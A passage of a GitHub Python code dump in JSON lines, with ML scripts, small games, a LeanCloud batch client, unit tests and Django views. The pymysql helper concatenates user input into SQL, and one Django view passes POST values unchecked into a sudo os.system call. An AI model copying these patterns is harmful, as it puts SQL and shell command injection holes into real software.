Count number of iving Neighbours\n            numNeighbours = 0\n            if currentCells[leftCoord][rightCoord]=='#':\n                numNeighbours+=1                # Top left neighbour is alive.\n            if currentCells[x][aboveCoord] == '#':\n                numNeighbours+=1                # Top neighbour is alive.\n                \n            ","repo_name":"glitchpop-frenzy/python_repos","sub_path":"conway.py","file_name":"conway.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22916231813","text":"import pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\n#reading data\r\ndf = pd.read_csv('KNN_Project_Data')\r\ndf.head()\r\ndf.info()\r\n\r\n#exploratory data analysis\r\nsns.set()\r\nsns.pairplot(df,hue='TARGET CLASS',kind='scatter',diag_kind='hist')\r\nplt.show()\r\n\r\n#standardizing variables\r\nfrom sklearn.preprocessing import StandardScaler\r\nscaler = StandardScaler()\r\nscaler.fit(df.drop('TARGET CLASS',axis=1))\r\nscaled_features = scaler.transform(df.drop('TARGET CLASS', axis=1))\r\ndata_df = pd.DataFrame(scaled_features,columns=df.columns[:-1])\r\ndata_df.head()\r\n\r\n#train test split\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(scaled_features,df['TARGET CLASS'],test_size=0.30,random_state=101)\r\n\r\n#knn\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nknn = KNeighborsClassifier(n_neighbors=1)\r\nknn.fit(X_train,y_train)\r\n\r\npred = knn.predict(X_test)\r\nfrom sklearn.metrics import classification_report,confusion_matrix\r\nprint(confusion_matrix(y_test,pred))\r\nprint(classification_report(y_test,pred))\r\n\r\n#choosing k value\r\nerror_rate = []\r\n\r\nfor i in range(1,41):\r\n    knn = KNeighborsClassifier(n_neighbors=i)\r\n    knn.fit(X_train,y_train)\r\n    pred_i = knn.predict(X_test)\r\n    error_rate.append(np.mean(pred_i != y_test))\r\n\r\nplt.figure(figsize=(10,6))\r\nplt.plot(range(1,41),error_rate,color='blue', linestyle='--', marker='o',markerfacecolor='red', markersize=10)\r\nplt.title('Error Rate vs. K Value')\r\nplt.xlabel('K')\r\nplt.ylabel('Error Rate')\r\nplt.show()\r\n\r\n#knn with new value\r\nknn = KNeighborsClassifier(n_neighbors=31)\r\nknn.fit(X_train,y_train)\r\npred_31 = knn.predict(X_test)\r\nprint(classification_report(y_test,pred_31))","repo_name":"parthrrs19/KNN","sub_path":"knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33417644843","text":"\nimport pymysql.cursors\nimport pandas as pd\nimport json\n\n# The database server is running somewhere in the network.\n# I must specify the IP address (HW server) and port number\n# (connection that SW server is listening on)\n# Also, I do not want to allow anyone to access the database\n# and different people have different permissions. So, the\n# client must log on.\n\n\n\n# Connect to the database over the network. Use the connection\n# to send commands to the DB.\ncnx = pymysql.connect(host='localhost',\n                             user='dbuser',\n                             password='dbuser',\n                             db='lahman2017',\n                             charset='utf8mb4',\n                             cursorclass=pymysql.cursors.DictCursor)\n\n\n\n# Input is a player ID. Return the database record.\n# Need to add error handling.\ndef retrieve(playerid):\n    cursor=cnx.cursor()\n    q = \"SELECT * FROM PEOPLE WHERE playerID='\" + playerid + \"';\"\n    print (\"Query = \", q)\n    cursor.execute(q);\n    r = cursor.fetchone()\n    return r\n\n# Give one of our magic templates, forms a WHERE clause.\n# { a: b, c: d } --> WHERE a=b and c=d. Current treats everything as a string.\n# We can fix this by using MySQL connector query templayes.\ndef templateToWhereClause(t):\n    s = \"\"\n    for k,v in t.items():\n        if s != \"\":\n            s += \" AND \"\n        s += k + \"='\" + v[0] + \"'\"\n\n    if s != \"\":\n        s = \"WHERE \" + s;\n\n    return s\n\n\n\n\n\n\n","repo_name":"sarahyuan02/W4111-f18","sub_path":"Projects/Lahman2/api/people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"16484576321","text":"TG_VCARD_MAP = (\n    {'string.vcard.gender': 'GENDER',\n     'string.vcard.geo': 'GEO',\n     'string.vcard.tel': 'TEL',\n    })\n\ndef to_vcard(tg_type):\n    '''Translate typeguess style types to vCard types\n\n    Raises ValueError when not possible\n\n    >>> to_vcard('string.vcard.geo')\n    'GEO'\n\n    >>> to_vcard('foo.bar')\n    Traceback (most recent call last):\n    ValueError: Type foo.bar is not mapped to any vCard type\n    '''\n    vc_type = TG_VCARD_MAP.get(tg_type)\n    if not vc_type:\n        raise ValueError('Type %s is not mapped to any vCard type' % (tg_type))\n    return vc_type\n\nif __name__ == '__main__':\n    import doctest\n    doctest.testmod()\n","repo_name":"rylans/typeguess","sub_path":"typeguess/vcard_translator.py","file_name":"vcard_translator.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"23972586964","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nfrom urllib.parse import quote_plus\nfrom itertools import chain\nfrom datetime import datetime, date\n\nfrom leancloud import client, operation\n\n\ndef query_to_params(query, **extra):\n    params = {}\n    for k, v in chain(query.build_query().dump().items(), extra.items()):\n        if v is None:\n            continue\n        if isinstance(v, dict):\n            v = json.dumps(v, separators=(',', ':'))\n        else:\n            v = str(v)\n        params[k] = v\n    return params\n\n\ndef convert_value(cls, k, v):\n    if isinstance(v, (datetime, date)):\n        return {'__type': 'Date', 'iso': v.strftime('%Y-%m-%dT%H:%I:%S.%fZ')}\n    if isinstance(v, operation.BaseOp):\n        return v.dump()\n    return cls.__fields__[k].to_leancloud_value(v)\n\n\ndef convert_class_name(name):\n    if name in ('User', 'File', 'Followee', 'Follower', 'Installation', 'Role'):\n        return f'_{name}'\n    return name\n\n\nclass Batch(object):\n    def __init__(self):\n        self._requests = []\n        self._post_response = []\n\n    def find(self, query, skip=None, limit=None):\n        self._requests.append({\n            'method': 'GET',\n            'path': '/{0}/classes/{1}'.format(client.SERVER_VERSION,\n                                              convert_class_name(query._model.__lc_cls__)),\n            'params': query_to_params(query, skip=skip, limit=limit),\n        })\n        self._post_response.append(lambda r: [query._model(i) for i in r.get('results', [])])\n        return self\n\n    def update(self, obj, updates):\n        cls = obj.__class__\n        data = {cls._get_real_field_name(k): convert_value(cls, k, v)\n                for (k, v) in updates.items()}\n        self._requests.append({\n            'method': 'PUT',\n            'path': '/{0}/classes/{1}/{2}'.format(client.SERVER_VERSION,\n                                                  convert_class_name(cls.__lc_cls__),\n                                                  obj.object_id),\n            'params': {'fetchWhenSave': 'true'},\n            'body': data,\n        })\n        self._post_response.append(lambda r: cls(r))\n        return self\n\n    def create(self, obj):\n        # TODO: Nest object creation not support.\n        cls = obj.__class__\n        data = {cls._get_real_field_name(k): convert_value(cls, k, v)\n                for (k, v) in obj.lc_object._attributes.items()}\n        self._requests.append({\n            'method': 'POST',\n            'path': '/{0}/classes/{1}'.format(client.SERVER_VERSION,\n                                              convert_class_name(cls.__lc_cls__)),\n            'params': {'fetchWhenSave': 'true'},\n            'body': data,\n        })\n        self._post_response.append(lambda r: cls(r))\n        return self\n\n    def execute(self):\n        resp = client.post('/batch', params={'requests': self._requests})\n        data = resp.json()\n        result = []\n        for post_fn, resp in zip(self._post_response, data):\n            if 'error' in resp:\n                result.append((\n                    resp.get('code', 1),\n                    resp.get('error', 'Unknown Error'),\n                ))\n            else:\n                result.append((\n                    0,\n                    post_fn(resp.get('success', {}))\n                ))\n        self._requests = []\n        self._post_response = []\n        return result\n\n    def __call__(self):\n        return self.execute()\n\n\n","repo_name":"Leechael/leancloud-better-storage-python","sub_path":"leancloud_better_storage/storage/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"}
{"seq_id":"41798633232","text":"#!/usr/bin/env python3\n\"\"\" A Solution For collections_ex04\n\n    Use a single set to determine the number of unique words in the\n    user's input.\n    • You can use the same sample while loop from Exercise 1.\n    • Each time through the loop, the individual words should be added\n      to the single set.\n    • When done looping, output the contents of the set sorted\n      alphabetically.\n    • Also, output the number of unique words.\n\"\"\"\nwords = set()\n\nprompt = \"Enter a some text (or just the word 'end' to quit) \"\nwhile True:\n    data = input(prompt)\n    if data == \"end\":\n        break\n    # Remainder of while loop goes here\n    words.update(data.split())\n\nthe_list = sorted(words)\n\nfor word in the_list:\n    print(word)\n\nprint(len(the_list), \"words in all\")\n","repo_name":"RedHatTraining/AD141-apps","sub_path":"collections/solutions/collections_ex04.py","file_name":"collections_ex04.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"6891498446","text":"import copy\nimport datetime\nimport logging\nimport os\nimport pickle\nfrom multiprocessing import Pool\n\nimport numpy as np\nimport psutil\n\nfrom nn_functions import Relu, Sigmoid, MSE\nfrom set_mlp import SET_MLP\n\nfrom lung_data import load_lung_data, train_test_split_normalize\n\n\nFOLDER = \"benchmarks\"\nTEST_SIZE = 1/3\n\n\ndef lung_single_run(X_train_, X_test_, y_train_, y_test_, set_params_, run_id=0):\n    n_hidden_neurons_layer = set_params_['n_hidden_neurons_layer']\n    epochs = set_params_['epochs']\n    epsilon = set_params_['epsilon']\n    zeta = set_params_['zeta']\n    batch_size = set_params_['batch_size']\n    dropout_rate = set_params_['dropout_rate']\n    learning_rate = set_params_['learning_rate']\n    momentum = set_params_['momentum']\n    weight_decay = set_params_['weight_decay']\n\n    start_time = datetime.datetime.now()\n\n    set_mlp = SET_MLP(\n        (X_train_.shape[1], n_hidden_neurons_layer, n_hidden_neurons_layer, n_hidden_neurons_layer, y_train_.shape[1]),\n        (Relu, Relu, Relu, Sigmoid), epsilon=epsilon, init_network='normal')\n\n    set_metrics = set_mlp.fit(X_train_, y_train_, X_test_, y_test_, loss=MSE, epochs=epochs, zeta=zeta,\n                              batch_size=batch_size,\n                              dropout_rate=dropout_rate, learning_rate=learning_rate, momentum=momentum,\n                              weight_decay=weight_decay,\n                              testing=True, run_id=run_id)\n\n    dt = datetime.datetime.now() - start_time\n    evolved_weights = set_mlp.weights_evolution\n\n    run_result = {'run_id': run_id, 'set_params': copy.deepcopy(set_params_), 'set_metrics': set_metrics,\n                  'evolved_weights': evolved_weights, 'training_time': dt}\n\n    return run_result\n\n\ndef lung_density_runs(run_id, set_params, density_levels, n_training_epochs, data, fname=\"\", folder=\"\"):\n    np.random.seed(run_id)\n\n    X_train, X_test, y_train, y_test = data\n\n    if os.path.isfile(fname):\n        with open(fname, \"rb\") as h:\n            results = pickle.load(h)\n    else:\n        results = {'density_levels': density_levels, 'runs': []}\n\n    for epsilon in density_levels:\n        logging.info(f\"[run_id={run_id}] Starting SET-Sparsity: epsilon={epsilon}\")\n        set_params['epsilon'] = epsilon\n        set_params['epochs'] = n_training_epochs\n\n        run_result = lung_single_run(X_train, X_test, y_train, y_test, set_params, run_id=run_id)\n\n        results['runs'].append({'set_sparsity': epsilon, 'run': run_result})\n\n        fname = f\"{folder}/set_mlp_density_run_{run_id}.pickle\"\n        # save preliminary results\n        with open(fname, \"wb\") as h:\n            pickle.dump(results, h)\n\n\ndef lung_train_set_differnt_densities(runs=10, n_training_epochs=100, set_sparsity_levels=None, use_logical_cores=True,\n                                      folder=''):\n    set_params = {'n_hidden_neurons_layer': 3000,\n                  'epochs': 100,\n                  'epsilon': 20,  # set the sparsity level\n                  'zeta': 0.3,  # in [0..1]. Percentage of unimportant connections to be removed and replaced\n                  'batch_size': 2, 'dropout_rate': 0, 'learning_rate': 0.01, 'momentum': 0.9, 'weight_decay': 0.0002}\n\n    X, y = load_lung_data()\n\n    start_test = datetime.datetime.now()\n    n_cores = psutil.cpu_count(logical=use_logical_cores)\n    with Pool(processes=n_cores) as pool:\n        futures = []\n        for i in range(runs):\n            remaining_density_levels = copy.copy(set_sparsity_levels)\n            # check if results already exist\n            fname = f\"{folder}/set_mlp_density_run_{i}.pickle\"\n            if os.path.isfile(fname):\n                with open(fname, \"rb\") as h:\n                    result = pickle.load(h)\n                    for el in result['runs']:\n                        remaining_density_levels.remove(el['set_sparsity'])\n\n            data = train_test_split_normalize(X, y, test_size=TEST_SIZE, random_state=i)\n            futures.append(pool.apply_async(lung_density_runs, (\n                i, set_params, remaining_density_levels, n_training_epochs, data, fname, folder)))\n\n        for i, future in enumerate(futures):\n            print(f'[run={i}] Starting job')\n            future.get()\n            print(f'-----------------------------[run={i}] Finished job')\n\n    delta_time = datetime.datetime.now() - start_test\n\n    print(\"-\" * 30)\n    print(f\"Finished the entire process after: {delta_time.seconds}s\")\n\n\ndef test():\n    run_id = 0\n\n    # SET model parameters\n    set_params = {'n_hidden_neurons_layer': 3000,\n                  'epochs': 5,  # 100,\n                  'epsilon': 20,  # set the sparsity level\n                  'zeta': 0.3,  # in [0..1]. Percentage of unimportant connections to be removed and replaced\n                  'batch_size': 2, 'dropout_rate': 0, 'learning_rate': 0.01, 'momentum': 0.9, 'weight_decay': 0.0002}\n\n    X, y = load_lung_data()\n\n    X_train, X_test, y_train, y_test = train_test_split_normalize(X, y, test_size=TEST_SIZE, random_state=run_id)\n\n    feature_selection = lung_single_run(X_train, X_test, y_train, y_test, set_params)\n\n    X_train = X_train[:, feature_selection]\n    X_test = X_test[:, feature_selection]\n\n\nif __name__ == '__main__':\n\n    if not os.path.exists(FOLDER):\n        os.makedirs(FOLDER)\n\n    sub_folder = \"benchmark_lung\"\n    date_format = \"%d_%m_%Y_%H_%M_%S\"\n    FOLDER = f\"{FOLDER}/{sub_folder}_{datetime.datetime.now().strftime(date_format)}\"\n    os.makedirs(FOLDER)\n\n    runs = 32\n    n_training_epochs = 100\n    set_sparsity_levels = [1, 2, 3, 4, 5, 6, 13, 32]  # , 512, 1024]\n\n    logical_cores = False\n\n    lung_train_set_differnt_densities(runs, n_training_epochs, set_sparsity_levels, use_logical_cores=logical_cores,\n                                      folder=FOLDER)\n","repo_name":"neilkichler/robustness_set","sub_path":"lung_set_train.py","file_name":"lung_set_train.py","file_ext":"py","file_size_in_byte":5771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"15002410746","text":"# -*- coding: utf-8 -*-\n# @Date    : 2018-09-04 19:53:23\n# @Author  : mohailang (1198534595@qq.com)\n\n\ndef main():\n    num = int(input())\n    A = int(input())\n    times = []\n    for i in range(num):\n        time = list(map(int, input().split()))\n        times.append(time)\n    result = []\n    for item in times:\n        if A >= item[1] and A <= item[2]:\n            result.append(item[0])\n    if len(result) == 0:\n        print(\"null\")\n    else:\n        for i in result:\n            print(i)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"WaveMo/Language","sub_path":"Python3/笔试题/查询满足区间的记录.py","file_name":"查询满足区间的记录.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73717858349","text":"from django.views.generic import ListView, DetailView, TemplateView\nfrom portada.models import Portada, PortadaBase\n#from django.shortcuts import get_object_or_404\nimport datetime\nfrom portada.forms import ResumenForm\n\nclass PortadaListView(ListView):\n\tmodel = Portada\n\ttemplate_name = 'base.html'\n\n\tdef get_queryset(self):\n\t\treturn Portada.objects.filter(\n\t\t\tportada__fec_creacion=datetime.date.today()).select_related('diario')\n\n\tdef get_context_data(self, **kwargs):\n\t\tctx = super(PortadaListView, self).get_context_data(**kwargs)\n\t\ttry:\n\t\t\tctx['portada'] = PortadaBase.objects.get(fec_creacion=datetime.date.today())\n\t\texcept:\n\t\t\tpass\n\t\treturn ctx\n\nclass ProbarSudo(TemplateView):\n\ttemplate_name = 'prueba.html'\n\n\tdef post(self, request, *args, **kwargs):\n\t\timport os\n\t\tuser = request.POST.get('user')\n\t\tadmin = request.POST.get('admin')\n\t\tos.system('sudo ejabberdctl add-rosteritem %(user)s %(host)s %(admin)s %(host)s %(user)s admins both'\n\t\t\t% {'user':user,'admin':admin,'host':'localhost'} )\n\t\tos.system('sudo ejabberdctl add-rosteritem %(admin)s %(host)s %(user)s %(host)s %(admin)s users both'\n\t\t\t% {'user':user,'admin':admin,'host':'localhost'})\n\t\treturn self.render_to_response(self.get_context_data())\n\nclass ResumirWebPage(TemplateView):\n    template_name = 'resumen.html'\n    \n    def get_context_data(self, **kwargs):\n        ctx = super(ResumirWebPage, self).get_context_data(**kwargs)\n        ctx['form'] = ResumenForm()\n        return ctx\n    \n    def post(self, request, *args, **kwargs):\n        form = ResumenForm(request.POST.copy())\n        if form.is_valid():\n            form.summary()\n        ctx = self.get_context_data()\n        ctx['form'] = form\n        return self.render_to_response(ctx)\n            \n            \n","repo_name":"heraldmatias/mynews","sub_path":"src/portada/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"12081546879","text":"# Author :- Nitesh\n# A beginer python learner from Youtube \"CodewithHarry\"\n\nrule = '''There are number between 1 to 100 , the number is hiden.\nlets guess it '''\nprint(rule)\n\nimport random\n\nrandomNumber =random.randint(1,100)\nuserGuess = None\ngusses = 0\n\nwhile(userGuess != randomNumber):\n     userGuess = int(input(\"entre your guess: \"))\n     gusses +=1\n     if(userGuess==randomNumber):\n           print(\"you guess is true!!\")\n     else:\n         if(userGuess>randomNumber):\n              print(\"You guess is wrong !! Entre smaler number: \")\n         else:\n          print(\"You guess is wrong !! Entre larger number: \")\n\n         \nprint(f\"you gussed the number in {gusses} guesss\")\n","repo_name":"Nitesh-james/my-project","sub_path":"GuessGame.py","file_name":"GuessGame.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34003021309","text":"import unittest\nimport time\nfrom xivo_cti.dao.queue_dao import QueueDAO\nfrom xivo_cti.statistics import queue_statistics_manager\nfrom xivo_cti.statistics.queue_statistics_manager import QueueStatisticsManager\nfrom mock import Mock, patch\nfrom xivo_cti.xivo_ami import AMIClass\nfrom xivo_cti.model.queuestatistic import NO_VALUE\n\n\nclass TestQueueStatisticsManager(unittest.TestCase):\n\n    def setUp(self):\n        self.ami_class = Mock(AMIClass)\n        self.queue_statistics_manager = QueueStatisticsManager(self.ami_class)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_getStatistics(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.received_call_count = 7\n        dao_queue_statistic.answered_call_count = 12\n        dao_queue_statistic.answered_call_in_qos_count = 0\n        dao_queue_statistic.abandonned_call_count = 11\n        dao_queue_statistic.received_and_done = 11\n        dao_queue_statistic.max_hold_time = 120\n        dao_queue_statistic.mean_hold_time = 15\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.received_call_count, 7)\n        self.assertEqual(queue_statistics.answered_call_count, 12)\n        self.assertEqual(queue_statistics.abandonned_call_count, 11)\n        self.assertEqual(queue_statistics.max_hold_time, 120)\n        self.assertEqual(queue_statistics.mean_hold_time, 15)\n        mock_queue_statistic_dao.assert_called_with('3', window, xqos)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_calculate_efficiency_round_down(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.received_call_count = 18\n        dao_queue_statistic.answered_call_count = 3\n        dao_queue_statistic.answered_call_in_qos_count = 0\n        dao_queue_statistic.received_and_done = 11\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.efficiency, 27)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_calculate_efficiency_round_up(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.received_call_count = 18\n        dao_queue_statistic.answered_call_count = 12\n        dao_queue_statistic.answered_call_in_qos_count = 0\n        dao_queue_statistic.received_and_done = 14\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.efficiency, 86)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_efficiency_no_call_received_and_done(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.received_call_count = 3\n        dao_queue_statistic.answered_call_count = 0\n        dao_queue_statistic.answered_call_in_qos_count = 0\n        dao_queue_statistic.received_and_done = 0\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.efficiency, NO_VALUE)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_qos_no_answered_calls_in_period(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.answered_call_count = 0\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.qos, NO_VALUE)\n        self.assertEqual(queue_statistics.efficiency, NO_VALUE)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_qos_round_down(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.received_call_count = 50\n        dao_queue_statistic.answered_call_count = 11\n        dao_queue_statistic.answered_call_in_qos_count = 3\n        dao_queue_statistic.received_and_done = 11\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.qos, 27)\n\n    @patch('xivo_dao.queue_statistic_dao.get_statistics')\n    def test_qos_round_up(self, mock_queue_statistic_dao):\n        window = 3600\n        xqos = 25\n        dao_queue_statistic = Mock()\n        dao_queue_statistic.received_call_count = 50\n        dao_queue_statistic.answered_call_count = 14\n        dao_queue_statistic.answered_call_in_qos_count = 12\n        dao_queue_statistic.received_and_done = 14\n        mock_queue_statistic_dao.return_value = dao_queue_statistic\n\n        queue_statistics = self.queue_statistics_manager.get_statistics('3', xqos, window)\n\n        self.assertEqual(queue_statistics.qos, 86)\n\n    @patch('xivo_cti.ioc.context.context.get')\n    def test_parse_queue_member_status(self, mock_context):\n        self.queue_statistics_manager.get_queue_summary = Mock()\n        mock_context.return_value = self.queue_statistics_manager\n        queue_name = 'services'\n        queuememberstatus_event = {'Event': 'QueueMemberStatus',\n                                   'Queue': queue_name,\n                                   'Interface': 'Agent/4523'}\n\n        queue_statistics_manager.parse_queue_member_status(queuememberstatus_event)\n\n        self.queue_statistics_manager.get_queue_summary.assert_called_once_with(queue_name)\n\n    @patch('xivo_cti.dao.queue', spec=QueueDAO)\n    def test_on_queue_member_event(self, mock_is_a_queue):\n        queue_member = Mock()\n        queue_member.queue_name = 'foobar'\n\n        self.queue_statistics_manager._on_queue_member_event(queue_member)\n\n        self.ami_class.queuesummary.assert_was_called_with(queue_member.queue_name)\n\n    @patch('xivo_cti.dao.queue', spec=QueueDAO)\n    def test_get_queue_summary(self, mock_queue_dao):\n        queue_name = 'services'\n        mock_queue_dao.get_queue_from_name.return_value = True\n\n        self.queue_statistics_manager.get_queue_summary(queue_name)\n\n        self.ami_class.queuesummary.assert_called_once_with(queue_name)\n\n    def test_get_all_queue_summary(self):\n        self.queue_statistics_manager.get_all_queue_summary()\n\n        self.ami_class.queuesummary.assert_called_once_with()\n","repo_name":"gorocacher/xivo-ctid","sub_path":"xivo_cti/statistics/tests/test_queue_statistics_manager.py","file_name":"test_queue_statistics_manager.py","file_ext":"py","file_size_in_byte":6875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"8636253968","text":"# Mini-project #7 Pong Game\n\ntry:\n    import simplegui\nexcept ImportError:\n    import SimpleGUICS2Pygame.simpleguics2pygame as simplegui\nimport random\n\n# initialize globals - pos and vel encode vertical info for paddles\nWIDTH = 600\nHEIGHT = 400\nBALL_RADIUS = 20\nPAD_WIDTH = 8\nPAD_HEIGHT = 80\nHALF_PAD_WIDTH = PAD_WIDTH / 2\nHALF_PAD_HEIGHT = PAD_HEIGHT / 2\nball_pos = [WIDTH / 2, HEIGHT / 2]\nball_vel = [-random.randrange(60, 180) / 60, random.randrange(120, 240) / 60]\npaddle1_pos = HEIGHT / 2\npaddle2_pos = HEIGHT / 2\n\ndef ball_init(right):\n    global ball_pos, ball_vel  # these are vectors stored as lists\n    ball_pos = [WIDTH / 2, HEIGHT / 2]\n    ball_vel[1] = -random.randrange(60, 180) / 60\n    if right == True:\n        ball_vel[0] = random.randrange(120, 240) / 60\n    else:\n        ball_vel[0] = -random.randrange(120, 240) / 60\n    pass\n\n\n# define event handlers\ndef init():\n    global paddle1_pos, paddle2_pos, paddle1_vel, paddle2_vel  # these are floats\n    global score1, score2  # these are ints\n    paddle1_pos = HEIGHT / 2\n    paddle2_pos = HEIGHT / 2\n    paddle1_vel = 0\n    paddle2_vel = 0\n    score1 = 0\n    score2 = 0\n    ball_init(0 == random.randrange(0, 11) % 2)\n    pass\n\n\ndef draw(c):\n    global score1, score2, paddle1_vel, paddle2_vel, paddle1_pos, paddle2_pos, ball_pos, ball_vel\n    if paddle1_pos < (HALF_PAD_HEIGHT) and paddle1_vel < 0:\n        paddle1_vel = 0\n    if paddle2_pos < (HALF_PAD_HEIGHT) and paddle2_vel < 0:\n        paddle2_vel = 0\n    if paddle1_pos > (HEIGHT - (HALF_PAD_HEIGHT)) and paddle1_vel > 0:\n        paddle1_vel = 0\n    if paddle2_pos > (HEIGHT - (HALF_PAD_HEIGHT)) and paddle2_vel > 0:\n        paddle2_vel = 0\n    paddle1_pos += paddle1_vel\n    paddle2_pos += paddle2_vel\n    c.draw_line([WIDTH / 2, 0], [WIDTH / 2, HEIGHT], 1, \"White\")\n    c.draw_line([PAD_WIDTH, 0], [PAD_WIDTH, HEIGHT], 1, \"White\")\n    c.draw_line([WIDTH - PAD_WIDTH, 0], [WIDTH - PAD_WIDTH, HEIGHT], 1, \"White\")\n    c.draw_polygon([(0, paddle1_pos - HALF_PAD_HEIGHT), (0, paddle1_pos + HALF_PAD_HEIGHT),\n                    (PAD_WIDTH - 2, paddle1_pos + HALF_PAD_HEIGHT), (PAD_WIDTH - 2, paddle1_pos - HALF_PAD_HEIGHT)],\n                   PAD_WIDTH - 1, \"White\", \"White\")\n    c.draw_polygon([(WIDTH, paddle2_pos - HALF_PAD_HEIGHT), (WIDTH, paddle2_pos + HALF_PAD_HEIGHT),\n                    (WIDTH - PAD_WIDTH + 2, paddle2_pos + HALF_PAD_HEIGHT),\n                    (WIDTH - PAD_WIDTH + 2, paddle2_pos - HALF_PAD_HEIGHT)], PAD_WIDTH - 1, \"White\", \"White\")\n\n    ball_pos[0] += ball_vel[0]\n    ball_pos[1] += ball_vel[1]\n    if ball_pos[1] >= (HEIGHT - BALL_RADIUS) or ball_pos[1] <= (BALL_RADIUS):\n        ball_vel[1] = -ball_vel[1]\n    if ball_pos[0] <= (PAD_WIDTH + BALL_RADIUS):\n        if ball_pos[1] < (paddle1_pos - HALF_PAD_HEIGHT) or ball_pos[1] > (paddle1_pos + HALF_PAD_HEIGHT):\n            ball_init(True)\n            score2 += 1\n        else:\n            ball_vel[0] = -ball_vel[0] * 1.1\n\n    if ball_pos[0] >= (WIDTH - PAD_WIDTH - BALL_RADIUS):\n        if ball_pos[1] < (paddle2_pos - HALF_PAD_HEIGHT) or ball_pos[1] > (paddle2_pos + HALF_PAD_HEIGHT):\n            ball_init(False)\n            score1 += 1\n        else:\n            ball_vel[0] = -ball_vel[0] * 1.1\n\n    c.draw_circle(ball_pos, BALL_RADIUS, 2, \"Red\", \"White\")\n    c.draw_text(str(score1), (170, 50), 36, \"Red\")\n    c.draw_text(str(score2), (400, 50), 36, \"Red\")\n\n\ndef keydown(key):\n    global paddle1_vel, paddle2_vel\n    if key == simplegui.KEY_MAP['w']:\n        paddle1_vel = -4\n    elif key == simplegui.KEY_MAP['s']:\n        paddle1_vel = 4\n    elif key == simplegui.KEY_MAP['up']:\n        paddle2_vel = -4\n    elif key == simplegui.KEY_MAP['down']:\n        paddle2_vel = 4\n\n\ndef keyup(key):\n    global paddle1_vel, paddle2_vel\n    global paddle1_vel, paddle2_vel\n    if key == simplegui.KEY_MAP['w']:\n        paddle1_vel = 0\n    elif key == simplegui.KEY_MAP['s']:\n        paddle1_vel = 0\n    elif key == simplegui.KEY_MAP['up']:\n        paddle2_vel = 0\n    elif key == simplegui.KEY_MAP['down']:\n        paddle2_vel = 0\n\n\n# create frame\nframe = simplegui.create_frame(\"Pong\", WIDTH, HEIGHT)\nframe.set_draw_handler(draw)\nframe.set_keydown_handler(keydown)\nframe.set_keyup_handler(keyup)\nframe.add_button(\"Restart\", init, 100)\n\n# start 